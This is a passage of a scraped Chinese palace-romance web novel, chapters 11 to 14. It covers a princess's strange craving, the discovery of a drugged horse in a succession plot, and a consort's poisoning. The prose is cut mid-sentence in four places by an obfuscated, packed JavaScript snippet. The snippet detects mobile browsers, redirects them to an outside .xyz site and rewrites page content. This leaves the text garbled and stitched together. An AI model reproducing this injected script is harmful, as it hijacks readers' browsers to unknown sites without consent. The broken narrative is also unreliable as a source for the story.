罢了,还是早些与他们汇合吧,萧珏他们,该是带了随行御医过来。 若是萧彻此刻回头看一眼颜嘉柔,便该知道她此刻满脸潮红、眼含春情的样子 颜嘉柔似乎更难受了。 身子不断地磨着、蹭着萧彻的脊背,以此来缓解身上那种不为人道的躁动。 然而只是饮鸩止渴。 短暂的纾解之后,随即席卷全身的,便是更加汹涌的渴念,无论如何都按捺不下去。 可没人教她该怎么做,如何才能彻底纾解。 她不知道她到底怎么了。 她快急哭了。 背上不断被绵软娇柔磨蹭着,萧彻只当她伤口实在痒得厉害,终于哑声提醒她道:“听话,别乱动。” 颜嘉柔浓睫乱颤,缓缓睁开湿^闰的双眼,努力地想要找回一丝清醒。 可情况似乎更糟了。 从她这个角度,可以清晰地看到萧彻的侧脸和颈项。 兰陵族人的血统在皮囊上的确有着得天独厚的优势。 难怪那位崔氏贵女崔令颐,一边作为玄陇党派为首的崔守阶之女,自恃身份贵重,认为非崔皇后的嫡出血脉不能与之匹配,随着他父亲一般地看不起萧彻的异族血脉,一边却有意无意地打探关于他的消息,创造与他的偶遇,只为多瞧他几眼。 偏是见到了,也从不说些小女儿情态的倾慕之语,只会不阴不阳地提醒他,他的血统污点。 而她作为凌霄阁第一功臣的嫡女,又出自“天下第一高门”博陵崔氏,又是如何身份贵重,血统高贵。 如今门阀当道,就连皇室也要仰仗世家门阀,而五姓七望,以博陵崔氏为首。 她的确身份尊贵,只是这般对萧彻,也不知道用意何为,对他到底是一种怎样复杂而又矛盾的情感。 只不过无论她怎么做,萧彻也从来不会被激怒——他甚至,都不愿正眼看她一眼。 对于像崔令颐这一类的人,他不会像欺负颜嘉柔那般逗弄她们几句,与她们拌嘴,笑着看她们生气,张牙舞爪的模样。 他对她们,是一种完全无视的漠然。 一丝一毫的注意力都不愿施舍。 于是便更得她们诋毁。 颜嘉柔回过神来,视线落在他的侧脸,目光散开,竟渐渐生出几分晕眩之感。 她看着他—— 眉目几可入画,往下是高挺的鼻梁,清冷精致的下颌,形状优美、紧抿着的薄唇。 宛如一幅精心描绘的工笔画。 新雪似得皮肤透露出一种禁欲的冷感,不笑时气质更是偏冷,仿佛雪山雾凇,却鬼使神差地诱人浮想联翩——这样一个人,眉眼含春,染上情^欲时又该是怎样一副光景。 她以前单知道他生得好看,可却第一次,对他产生了遐想。 她这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这冷不丁的一句,猛然让她找回了几分清醒。 是啊,她在做什么? 她方才……竟然想咬萧彻? 她是疯了么? 她又不是属狗的,做什么要咬萧彻? 更何况男女有别,她怎么能…… 今天的她怎么会这么不正常,方才竟然会对萧彻产生那些的遐想…… 究竟是怎么了…… 不,不是她的错,一定是他勾引她…… 对,一定是这样的,他占了血脉的便宜,天生便有这样的本事…… 可……可他从来不屑于对她做这种事,更何况他今天也并没有什么特殊之举…… 她一时思绪纷繁杂乱,一方面是身体的渴念疯狂叫嚣,另一方面却是仅存的理智在苦苦维系。 紧紧攥着的手指,指关节已然泛白,白皙的额头上不断渗出汗水。 偏他还毫无知觉,半偏过头,唇角含了点些微的笑意,撩了眼皮,还以为是她又要玩儿什么恶作剧:“对了,你方才说,想要什么?” 淡光映照着他俊美的侧脸,他半低垂着眼,眼睫被笼罩了一圈淡金色的绒光,透明似的皮肤,连脸上细小的绒毛都纤毫可见。 脖颈上隐伏的青筋在白到几乎透明的肌肤上愈发显眼,尤其是她的注意力一旦放在上面时…… 她不动声色地微微挪过了手,状似不经意,指尖轻颤地抚过他的青筋血管,甚至能感受得到底下脉搏的跳动、血液的流淌。 她难耐地舔了一下唇。 这让她更加兴奋了,虽然她也不知道这是为什么……只是出于本能的驱动,她想咬他,咬上他喉结旁,那几根微微凸起的青筋血管。 他居然问她想要什么……在这种关头。 实在是……引诱人而不自知。 她吞咽了一口口水。 可是她能怎么说,说她想要咬他? 为什么呢?连她自己都不知道为什么…… 不,她不能这么做,她怎么能咬人呢,更何况那个人还是萧彻,她若是随意咬他了,那跟疯狗有什么区别? 一旦她这么做了,便是被他抓到把柄,依照他的性子,肯定时时拿这件事来说事,往后在他面前,她可就再也抬不起头来了! 可萧彻眼下就在她面前,一呼一吸间都在无声地引诱。 越发强烈的渴求与瘾念,每一寸经络血脉,都在疯狂叫嚣着,引诱她附上萧彻的颈侧,可仅存的一丝理智又再拼命告诫她别迈出那一步:她疯了么?那是萧彻!她想对他做什么! 熬一熬吧,这骊山向来是传闻中精怪出没之地,玄而又玄,她此行一定是招惹了不干净的东西,所以才会这般反常,对萧彻产生强烈的身体迷恋,连她自己都不知道为什么。 或许只这么一回,熬过去就行了!否则等清醒过来,她要如何与萧彻解释,若是被萧珏知道了,她又该如何自处?! 萧彻也不会同意的,难道她要求他么?可她刚刚才信誓旦旦地说这辈子决不会再求他!今天她在他面前已经丢够脸了,旁的还可以说是事急从权,能屈能伸,可若是连说过的话都能转头不算数,只怕她这一辈子在这个死对头面前,都将抬不起头来! 她一想到这样的后果就头皮发麻,不,她一定不能迈出这一步,忍一忍,忍一忍就过去了,一定就只有这么一次,只要忍过去,她依然是那个无比正常的清河公主。 强烈的身体欲望与残存理智的疯狂博弈,后果就是整个人到了一种近乎虚脱的地步,指甲深深陷进手心,竟然已经感觉不到疼了。 白皙的额头密密麻麻地布满了汗水,打湿了两边的鬓发。 红润的唇瓣微微开合,最后叫了一声萧彻的名字后,她终于因为体力不支再度晕了过去。 等再醒来的时候,耳边似乎听到一声声关切的“嘉柔……”好像是萧珏的声音。 她费力地睁开眼睛,视线慢慢变得清晰,果然见萧珏正一脸担忧地站在她的身前。 有心想要再进一步,却被萧彻档在身前。 是啊,她如今还在萧彻背上。 她一下子清醒了,挣扎着想从萧彻背上下来,目光巴巴地看向萧珏:“太子哥哥……萧闻祈,你快放我下来!” 萧彻没什么表情地将她放了下去。 萧珏果然伸手捞过了她。 颜嘉柔甫一落地,便急不可耐地扑进萧珏的怀里,之前种种委屈在这一刻得以尽数宣泄:“呜呜太子哥哥,你终于带人来找我了……” 她一张莹白的小脸淌满了泪,抬头泪眼盈盈地看着萧珏,抽噎了几下,刚想开口说什么,忽然后知后觉地反应过来,方才身上那种难以启齿的渴念与如虫爬身、从骨头缝里渗出来的痒意忽然完全消失不见了…… 她又变成了那个无比正常的颜嘉柔。 只是再转头偷偷抬眼看向萧彻时,对上他漫不经心的目光,不知道为什么,还是一阵脸热心跳,方才与他的亲昵举动,一幕幕浮现在脑海,始终挥之不去…… 萧彻没什么表情地往萧珏身后看了一眼,见他果然带了随行御医,略抬了下颌,道:“皇兄既带了御医,不如就在这给她瞧瞧吧,她被野狐咬了一口,说是伤口痒得厉害,别是染了什么怪病,她既说那狐狸是我招来的,我总要多上心些,省得她以后赖上我。” 他说着望向颜嘉柔,挑了一侧眉毛,语调懒洋洋的:“是不是啊,皇妹?” 发生了那样的事,颜嘉柔这会根本不敢看他,鬓发掩映下,没人注意到她白玉似的耳垂早已红透。 她支支吾吾地别过脸去:“不……不用了,我已经好了,伤口不……不痒了……” 说到“不痒了”三字时,更觉难以启齿。 她说得心虚,恨不得立刻拉着萧珏离开这里——眼下她实在没什么面目跟萧彻待在一起。 萧彻审视了她片刻,唇角扯开一点弧度,只意味不明地“哦?”了一声。 颜嘉柔再不敢看他,拉过萧珏的袖子轻轻晃动,央著他道:“太子哥哥,我有点乏了,你快些带我回营帐里去吧。” 萧珏一直温柔地注视着颜嘉柔,及至她开口求他,目光中更添爱怜:“好,此次你受惊了,有我在,别怕,回去好好歇一歇,便能恢复了。”便扶着她往回走去。 萧彻望着两人挽手离去的背影,唇角的那点本就虚浮的笑意终于彻底消散,茶色的瞳仁在日光下泛着冷意。 肩上忽然搭上来一只手,揶揄的声音随之响起:“还看呢,人都走远了。啧,还‘有我在,别怕’,人小嘉柔之前误骑了疯马,险些葬身马蹄之下,他那个时候不在,如今疯马已被制服,人安然无虞地回来了,他这个时候倒又在了——没想到我们太子殿下深藏不露,倒是个会捡现成的。” “诶,说起来,那匹疯马你后来是怎么制服的?” 萧彻回头,淡淡地看了来人一眼,声音没什么起伏:“死了,被我喂了匕首。” 来人一噎,咳嗽了一声:“不愧是你。御赐的宝马也敢说杀就杀,倒不怕圣上怪罪。” “父皇不会怪罪的,性命攸关,它不死,颜嘉柔就有性命之忧。”他搭下眼帘,低头看着手掌,只道:“就算怪罪了,那又如何?” “她的安危,最重要。即便是她的一根头发,也比旁的事物,要珍贵许多。天塌下来,亦是如此。” “好个‘天塌下来。亦是如此’,你倒是为她花心思,可惜啊,她却不见丝毫领情,你这前脚刚救了她,后脚太子来了,她就巴巴地跟人走了,倒像是急不可耐似得,也不见她跟你哪怕道一句谢,啧,真是个小没良心的。” “燕骁,”萧彻终于叫了一声来人的名字,淡道:“你来很久了?” 燕骁低头摸了摸鼻子,讪笑道:“倒也不是很久,赶个巧罢了。圣上先前派我去做别的差事,我回来后,本想问问你这次狩猎收获几何,却不见你,找人一问,才知道你跟卓沙比试胜了他,得了圣上赏赐的一匹雪骢马。” “后此马意外发狂,驮着清河公主奔向密林,你也随后策马跟上。你对她的心思,旁人自然怎么也想不到,可你兄弟我,难道还不清楚么。” “她有个好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800822|158405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歹,你必定不顾性命前去救她,我担心你,所以也跟着来看了,没成想刚好撞见太子也带人来搜寻你们,你们碰面,我就靠在树干后面看了一会咯。” 萧彻:“…………” 萧彻:“好看么?” “好看,怎么不好看?这里树木葱郁至极,风景好看,你的心肝长得好看,你看你的心肝投入太子怀抱时的脸色,咳咳,更好看……” 萧彻扫他一眼:“说完了么?” 燕骁咳嗽了一声:“说完……咳,还没有。” “萧闻祈,我还是想劝你一句,你要是真喜欢她,就别总是摆出这样一副样子,始终不肯低头,你得想想法子啊。” “你想说什么?” “我想说什么?你该知道我想说什么,不是,我就不明白了,颜嘉柔之所以会喜欢萧珏,就是因为她以为当初救她落水的是他,可你明明知道,不是,当初不顾性命,跳下水救她的那个人分明是你,你这不是长了嘴了么,还长挺好看的,怎么就不知道开口呢?” “要我说,这太子也实在不厚道,揣着明白装糊涂呢,竟春秋笔法认了那个恩情,哄得小嘉柔对他是死心塌地,连正眼看你一眼都难。你若是再放任这个误会下去,你和她,这辈子都没可能。” “不是,真是皇帝不急太监急了呗,我都想替你去她跟前说,可你要是不认,我说了也白搭啊,她不会信的。” “她就是不会信。”萧彻看着他,滚动了一下喉结:“你以为我说了,她就会信么?不会,她只愿意相信她想相信的。救了她又如何,我今天难道没有在马背上救下她?可我和她之间,有因为这件事改变分毫么?” 燕骁愣了一下,随即恨铁不成钢地道:"你都没试过,怎知没用,儿时救下她与现在救下她,能一样么?正因为她以为儿时救下她的是太子,她已认定了他,所以即便你现在救了她,也无用,可倘若她知道从一开始救下她的就是你呢?" 萧彻面上不起丝毫波澜,只垂了眼,轻嗤一声道:“即便她真因此事钟情于我,那又如何?” 燕骁懵了一瞬:“那又如何?你心心念念的事终于得偿所愿,你跟我说那又如何?” “得偿所愿?呵,”他忽然抬头,定定地看向燕骁道:“我来告诉你,什么才叫得偿所愿。” “她真心爱慕、喜欢我这个人,是得偿所愿,她只钟情于我,对旁的男子视若无睹,是得偿所愿。” “可你看现在呢,她误以为儿时救她的人是太子,所以喜欢他,先不说我说出真相之后她信不信,即便信了,转而喜欢我,那她也不过是因为恩情移情于我,她喜欢的是救她的那个人,并不是我。” “太子救了她,她就喜欢太子,倘若是你救了她,她是不是也要喜欢你?这样的喜欢,换谁都可以,我萧彻不屑于要。挟恩图报这种事,我也不屑于做。我要她真真正正、完完全全地只喜欢我。若做不到,情愿没有。” 燕骁呆了好半天才回过神来:“不是,你怎么这么死脑筋呢,先把人哄过来,再徐徐图之,日后让她为你神魂颠倒,那不是迟早的事吗?” “不是,萧闻祈,你真的是兰陵族人吗?亏你还是江贵妃的亲子,除了继承这一身皮囊,她的本事,你怎么一星半点都没学到?” “我说你要不回去好好请教一下江贵妃,诶不是,我话还没说完呢,你走什么,别以为费心思,耍手段该是女子做的事,这种事不分男女,只看是谁先动的心,真的,你赶紧回去请教一下你母妃,别不好意思……” 前方的萧彻身形一顿,修长手指缓缓攥紧,终于忍无可忍,偏头吐出一个“滚”字。 燕骁望着他远去的背影,低头摸了摸鼻子,颇有些不以为然:“你清高,你了不起,等你心肝真跟太子跑了,看你上哪儿哭去。” ——倘若他再不做出改变,这也只是迟早的事罢了。 可看他那副样子,是轻易不会改变的了。 燕骁想,颜嘉柔和萧彻两个人,眼睛长在头顶上,都是一般的傲,脾气也都犟的很,谁也不会主动低头,简直是无解。 恐怕只有出现一个出人意料的契机,两人的关系才有转圜的余地。 12. 第 12 章 燕骁原本以为萧彻出去是和魏元帝他们汇合了,没想到他却将他带到了雪骢马葬身的地方。 原本浑身雪白的雪骢马,此刻喉颈处赫然一个血窟窿,浑身上下雪白的毛发尽数染成了鲜红色,身下积了一滩血洼。 一双马眼还死死瞪着,只是已全然没了气息。 萧彻面色不变地走到近旁,靴尖踢了踢这死物,道:“这雪骢马素来以温和著称,在颜嘉柔上马之前,我还特地试过,性子温和得不能再温和了,原以为决计不会出什么差池,缘何跑了一圈后,等到她上马时,却忽然狂性大发?” 燕骁摸了摸下巴,皱眉道:“确实费解,我早年跟随父亲四方游历,见过不少品种的马,烈马伤人自然是有,却从未听过一例雪骢马伤人事件,毕竟它的性情,可是出了名的温顺。” 萧彻平静地看着他:“我怀疑这匹马被人动了手脚,你见识广,有没有一种药,马儿服用之后,药性初时不显,却会在被人驱策驰骋之后慢慢显现出来?” 燕骁沉吟片刻,目光一凛,肯定道:“有!有一种香料,叫做辟寒香,掺杂在草料中喂给马儿,药性初时不显,可一旦马儿被人驱策奔驰后,药性便会显现,使马儿惊悸发狂,将马背上的人摔下踩死。” “只一样,这辟寒香半个时辰内方才有效,一旦过了时效,即便驱策马匹驰骋,药效也不能发作。” 萧彻微微眯眼,扯了唇角一笑:“也就是说,此马被下药的时间,距离发狂至多一个时辰,很有可能是在上场前被人下了药,这马的腹中,也极有可能还残留着被掺了香料的草料不及消化。” 两人四目相对,燕骁微微颔首。 下一刻,便见萧彻取出匕首,寒芒湛湛,冰冷的刀刃映出他一双分外明亮的瞳仁,极浅的瞳色,映着匕首的冷光,透着一股清寒,像是冬日檐上冷凝的冰雪。 还残存着温热的鲜血却一下子飞溅至眼前,是萧彻将已死的马儿开膛剖腹,果然发现了未及消化的草料。 燕骁俯身,用手指捻搓了一点放至眼前辨认,目光一顿,神情瞬间变得严肃,朝萧彻道:“果真是辟寒香。” 萧彻抬眉,脸上的神情是一种意料之中的笃信:“有人想害萧珏。” 燕骁一愣,随即反应过来:“这匹雪骢马圣上原是要赏赐给太子的,若不是北楚王子非要与你再比试,而你又大出风头,极漂亮地赢了他一回,圣上也不会临时起意将那匹雪骢马转赐于你。那差点死于马蹄之下的,便是太子。” 有人想害太子,那人是谁,答案简直不言而喻。 当今崔皇后育有两子,嫡长子萧珏,嫡次子萧衍,因都是嫡出,地位本就一般的尊贵。而萧衍似乎更得魏元帝宠爱,他也并不服萧珏,认为无论文治还是武功,他都要略胜萧珏一筹,难道只因他早出生两年,这太子之位便合该是他的么?因此便渐渐萌生了夺嫡之心。 三月前他失足坠马,伤了腿而不良于行,更遑论骑射,因此失了圣心,如今腿伤虽有好转,但萧彻能从和他的交谈中感知到,他心里的怨气并未消散——他始终认为他失足坠马并非偶然,虽然并没有找到任何证据,但他一口咬定此事是萧珏所为,因此图谋报复,实在太正常不过。 这事确然有迹可循。 萧彻记得,魏元帝将雪骢马改赐他之时,萧衍曾试图劝阻,他当时就觉得奇怪,萧衍平时最圆滑不过,从不忤逆魏元帝,怎么今日却偏偏要扫他的兴? 除非,他是有非这么做不可的理由。 而魏元帝的临时起意,扰乱了他的计划。 他想让萧珏坐上那匹被下了药的雪骢马,让他出事。 魏元帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800823|158405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却将那匹雪骢马转赐给了他,萧衍那么紧张,一是怕心思白费,害不成萧珏,二是或许也怕害了他。 ——萧衍与萧珏虽为一母同胞,但因夺嫡之争,关系日益紧张,到如今,已是不死不休。 所谓兄弟血缘之亲,萧衍或许也只能在萧彻身上寻找慰藉,感知一二。 毕竟萧彻并非嫡出,身上又背负了前朝歧国余孽的传闻,在所有人眼中,早已被迫退出了夺嫡之争。 既没了威胁,萧衍的那份缺失的兄弟亲情,自然可以尽情地在萧彻身上找补回来。 因此他对萧彻,倒确然有几分真心在。 至于萧珏,就算他与萧彻之间没有横亘着储君之位,光是一个颜嘉柔,他们就注定亲近不起来。 萧衍与萧珏,这两人之间的暗潮涌动萧彻也不是不知道,只不过这原本是他两人之间的恩怨,并不干他的事,他也从不插手,只不过这次,事情显然同以往任何一次都不一样。 燕骁显然也意识到了这点,微微皱眉,看向他道:“这事你管么,还是跟以前一样,当做不知道?” 萧彻目光寂若寒潭,只道:“原本自然只当不知道,可这次,他差点要了颜嘉柔的命,也差点要了我的命,你说呢?” 他一张俊美的脸孔渐渐浮上戾气:“我说了,即便是她的一根头发丝,也要比旁的人事珍贵许多。太子是死是活,从来不干我的事,但无论是谁,伤了她一毫一发,那便决不是小事。” 他微微眯眼,眼底掠过一道暗色:“御赐的雪骢马,身上留有特殊标识,替换不了,找个隐秘的冰窖把马的尸体藏起来,只要尸身不腐,证据就能一直留存,如此一来,我们就有了萧衍的把柄,亦可借机敲打他,防着他再做些累及旁人的事。” 燕骁喉结滚动,点了点头道:“都听你的。” 13. 第 13 章 骊山之行便在这种种意外事件中落下帷幕。 回宫后,萧彻第一件事就是去披香殿看望江贵妃。 江沉鱼这阵子总是头晕乏力,又十分嗜睡,魏元帝为此多次叫御医过来诊脉,却并未诊出什么,太医只说是她近来体虚,开些滋补理气的方子调养一下就是了,别的倒并无大碍。 披香殿中,瑞兽铜炉正袅袅吐着香线。 女子头上未饰珠翠,青丝披散,只着了一件轻纱寝衣,半躺在贵妃榻上。 隔着缭绕的烟雾,依旧可以窥见女子令人心惊的美貌。 沉鱼落雁、闭月羞花,不外如是。 虽则面带病容,眉眼间却不减丝毫容光,反而多了几分病西子的韵味。 不经意地一抬眸,竟有几分摄人心魄的味道。 珠帘被人挑起,是江沉鱼的贴身侍婢姬乐,她自幼跟在江沉鱼的身边长大,比萧彻年长几岁,在江沉鱼入宫前便已侍奉左右,在了解江沉鱼这件事情上,恐怕连萧彻都不及她。 萧彻笑着朝她微微一颔首,她连忙慌乱地低头,眼睫颤动了下,耳后微红。 里间的江沉鱼听到动静,半撑起身子:“是彻儿么?” 萧彻应了一声:“是。”便连忙步入内间。 及至走到江沉鱼身前,向她行礼道:“彻儿给母妃请安。” “快起来吧。听燕骁说,这次的骊山狩猎,发生了许多变故。你可还好?” 萧彻目光一顿,旋即笑起来:“无事,母妃不必担心,都已经解决了。” 他仔细端详着江沉鱼的面容,眉心微蹙:“倒是母妃,似乎瞧着还是恹恹的,精神仍是不济么?” 萧彻自小和江沉鱼十分亲近,毕竟魏元帝有那样多的子女,而江沉鱼就只有他一个儿子,母子两个背负血脉的诅咒,与皇宫其他人格格不入,相依为命,自然格外亲近。 萧彻儿时为救人落水,上来后感染了风寒,高烧数日未退,几乎丢掉了半条命。 是江沉鱼衣不解带地在他身边照顾她,跪在神佛前虔诚祈祷,愿意以她的十年寿命换他这一次的平安无虞。 后来他果然好转,江沉鱼却病倒了,魏元帝心疼坏了,甚至因此迁怒萧彻,斥责他为何下水染病,自己受罪也就罢了,却还连累了他母妃! 小萧彻内疚万分,也就是从那一刻开始,母妃爱他尤胜自己性命的这个认知,便深深地植入他的心里。 从那之后他也加倍地爱她,这之后她一有什么病痛,他都因为那个折寿的誓言格外紧张与心疼。 江沉鱼却摇了摇头道:“无妨,我自己的身子,我自己还不清楚么,不过是这几日天气渐热,我身子惫懒,愈发嗜睡罢了。” 萧彻这才点了点头,心下稍安:“那母妃千万要保重自己的身子,若有不适,立刻传唤太医。” 江沉鱼笑起来,女子的一张脸几乎辨不出年龄,方才看书时点了灯,朦胧的光晕映照在她白腻的侧脸上,隐隐泛着美玉的光泽。 烛火跳跃在她的眸底,动荡出一段动人的潋滟。 兰陵族人的瞳色比常人要浅,不是漆黑的墨瞳,而更偏向于一种琥珀色亦或是茶色。 眼睫长而密,掩映着一双浅色的瞳仁,漂亮得不可方物,看人时往往容易引人沉溺其中,也难怪有传言说,兰陵族人的蛊惑之能,七分皮相中倒有五分在这一双眼睛中。 江沉鱼慢慢笑起来:“你如今这般唠叨,倒是快赶上你父皇了。” “彻儿只是关心母妃罢了。” “乖孩子,我便知道我的彻儿最乖了。” 她看着眼前这个肖似自己的少年,神情慢慢生出了几分恍惚,不知想到了什么,喃喃道:“再有几日便是你的冠礼了……” 皇子成年行冠礼后,按例该迁往宫外,另立府邸。 为了多留萧彻在宫中一段时日,尽管魏元帝早早为他赐了字,可他的冠礼却被一拖再拖,而萧衍,年十六便已行冠礼,通常越得圣宠,行冠礼越早,萧彻却是个例外。 太子倒是十八才行冠礼,若不是玄陇那帮大臣一再催促,恐怕魏元帝还打算往后延。 只因一旦行了冠礼,太子便有议政决策的权力,相当于半只脚已踏上了龙椅,储君的位置也就坐得更为牢固。 这对始终想立最爱的女人的儿子为太子的魏元帝来说,自然算不上是件痛快的事。 只不过他也别无他法,一拖再拖,等到拖无可拖之时,也只能这么做。 萧彻道:“母妃不必担心,父皇那么宠爱您,必会让儿臣留在宫中继续陪您,不会让儿臣迁出宫外另立府邸的。” 江沉鱼目光落在虚空中的一点,不知在想些什么,淡淡道:“或许吧。” 她将视线重新落回在他的身上,慢慢微笑起来:“听燕骁说,你于情爱一事上仍未开窍,至今还未让那位清河公主钟情于你……彻儿,你真的很喜欢她,是么?” 乐正端了茶水入内,将茶水搁置到案几上,恰好听见二人的谈话内容,攥着漆盘的手一顿。 萧彻面色算不上好看,咬牙道:“燕骁对您的回禀,还真是事无巨细。” “你别怪他,他也是关心你,不忍看你这般求而不得,所以想让我指点你一二。” “指点?”萧彻扯了下唇角,要笑不笑:“情爱之事,又非算计谋略,如何能够指点?” “如何不能?彻儿,情爱之中的算计,只多不少,你要记住,你若喜欢一个人,一定要让她为你心疼、心痛、甚至心碎,只有这样,她才会对你难以割舍。” 萧彻蹙眉,神情中少见得流露出一丝茫然,“母妃,孩儿不明白。” “傻孩子,对你付出的越多,自然越难舍弃,若是为你心痛过一回,恐怕这辈子,也再难以忘怀了——你以后,就懂了。” “可若真心爱一个人,怎么舍得让她为自己心痛、心碎?” 江沉鱼一怔,不由得细细打量萧彻,最终只是轻叹了一口气:“你这孩子,恐怕日后在情之一字上要吃尽苦头。你对她这般不舍,往后便要为她心痛、心碎。彻儿,你喜欢她我并不反对,但情爱之事只能是点缀,记住母妃的话,万不可太过看重,乃至沉迷。” 说完便称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800824|158405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乏了,让萧彻先行跪安。 萧彻似懂非懂地走出披香殿时,决计想不到这是他最后第二次见到他母妃。 后来再回想这一次看望—— 犹记得出门时,他最后回望了一眼江沉鱼,目光上移,却注意到墙上挂着的一幅画。 是一幅山水画。 风格倒是颇像南齐的刘松年,萧彻知道,江沉鱼一向喜欢刘松年的画。 只是就连他也能看出,这幅画不过是赝品,仿得再像,也并非刘松年的真迹,他不信江沉鱼看不出。 问及她时,她却只是淡淡道:“是崔皇后所赠,为表谢意,自然要日夜悬挂。” 原来是崔皇后所赐,那便难怪了…… 萧彻当时只觉崔皇后此招倒颇为阴损,故意赐一幅赝品膈应他母妃,偏还无从指摘,即便被拆穿了,也可推脱她一片好心,并非有意为之,毕竟这幅赝品的确仿得像,若非行家,确然难以分辨。 若是为了不生事而选择不拆穿,便只能忍着恶心留下。 只是萧彻不明白,若他的母妃不愿,自然有千百种方法不受她的气,何苦将这副赝品日日悬挂呢? 问及江沉鱼,她却只是无谓道:“乏了,多一事不如少一事吧。” “何况你不觉得,这幅画虽然不怎么样,但上面的墨水似乎有种奇香,当真是好闻得紧,挂着倒也无妨。” 她说这句话时,脸上显现出一种奇异的神色,侬丽又清冷的眉眼,竟透出几分妖冶。 鼻尖似乎仍萦绕着若有似无的淡淡香气,那是来源于那幅画上的。 萧彻蹙眉,直觉那画有古怪,找来御医看过,却并未有何不妥,遂作罢。 三日后,魏元帝为萧彻举行加冠仪式。 仪式的规格,甚至比肩太子。 御史台的那帮言官,自然免不了一番上谏。 可魏元帝不买账,甚至搬出了一套星象论,命钦天监按照他的意愿随口胡诌几句,欺负那帮大臣看不懂星象这种玄而又玄的东西。 诸如“太白式微,须紫金护体,”这“太白星”指的是魏元帝,“紫金星”自然是萧彻,意为魏元帝有式微之象,若想龙体安康,则萧彻不得远行。 所有人都心知肚明,这是魏元帝为了留住他心爱的儿子,故意做的戏,甚至不惜为此诅咒自己。 他都做到这个份上了,自然也只能顺他的意。 崔守阶等人的态度,是只要魏元帝在大事上不失智,这种小事,他们倒也不是不可以让步。 萧彻对于自己能留在宫中并不意外,但听到消息后,我却还是有几分高兴。 他迫不及待地去到披香殿,打算把这个消息告诉江沉鱼。 刚进殿,迎面却撞上了姬乐,一见到他就急急地迎上来,双手紧紧抓着他的手腕道:“殿下,奴婢正要去找您呢……娘娘她,娘娘她想见您!” 萧彻蹙眉,看着她泛红的眼圈,只觉喉咙发紧,他听见自己涩然地开口:“怎么了?可是我母妃出什么事了?” 姬乐哭得泣不成声:“您……您跟我进来就知道了……” 14. 第 14 章 等跟着姬乐进入内殿,却发现情况比他预想得还要糟。 江沉鱼依旧半躺在那张贵妃榻上,却不复往日慵懒惬意的姿态,仰面躺着,大口大口地吸着气,手臂无力地垂下。 那张精致雪白的脸孔,此刻连一丝血色也无,像是被抽干了生气,若不是那浅色的瞳仁还缓慢地转动着,几乎要以为她已经全无生息。 突然她身子陡得一抽动,猛地侧过身子,呕出一口鲜血。 那呕在地砖上的一滩血,竟隐隐透着黑色。 她的皮肤本就白得几乎透明,如今血色尽褪,显出几分惨白来,衬着唇边残留的血迹,颇有些触目惊心。 只一眼,萧彻便尝到了魂飞魄散的滋味, 他踉跄着走到江沉鱼身边,终于支撑不住,扑通一声跪在地上,瞬间红了眼眶,哽咽着嗓音道:“母妃,为什么……究竟发生了什么……” 江沉鱼强撑着一口气不散,紧紧抓着他的手,看着他道:“彻儿,好孩子,母妃终于等到你了……接下来我说的话,每一个字你都要牢记于心……” 她一张美丽的面容渐渐扭曲,平素漂亮清冷的眼瞳此刻却翻涌着异样浓烈的情绪,他分明看到了里面蕴含着滔天的恨意,一字一句,锥心泣血:“是皇后和她的两个儿子害死的我,你一定要为我报仇,记住了么……” 明明说的是皇后他们,可眼中那股浓烈刻骨的恨意,却又好像透过他们在望向别的什么。 萧彻尚未从悲痛中反应过来,只茫然道:“皇后……和她的两个儿子?” “是……”她费力道:“你还记得那幅墨汁有奇香的画么……刘松年的赝品……皇后赐的……今早萧衍却说奉皇后的懿旨,来取回那幅画……说是意外发现了当初赐予我的那幅画并非真迹,大感羞愧,因此连忙取回……另又赏了些旁的珠宝首饰……说什么派萧衍前来,以示郑重……” “将画取走后……没过多久,萧珏也来了……说是听闻我最近精神不济,体质虚寒,而适逢高丽进贡上好的人参,他便奉皇后旨意特地让御膳房的人炖了一盅参汤,亲自给我送来……以示歉意……” “呵,当真是费心了……为了取我的性命,竟花费了那样多的心思……不惜……不惜派出她的两个儿子……” 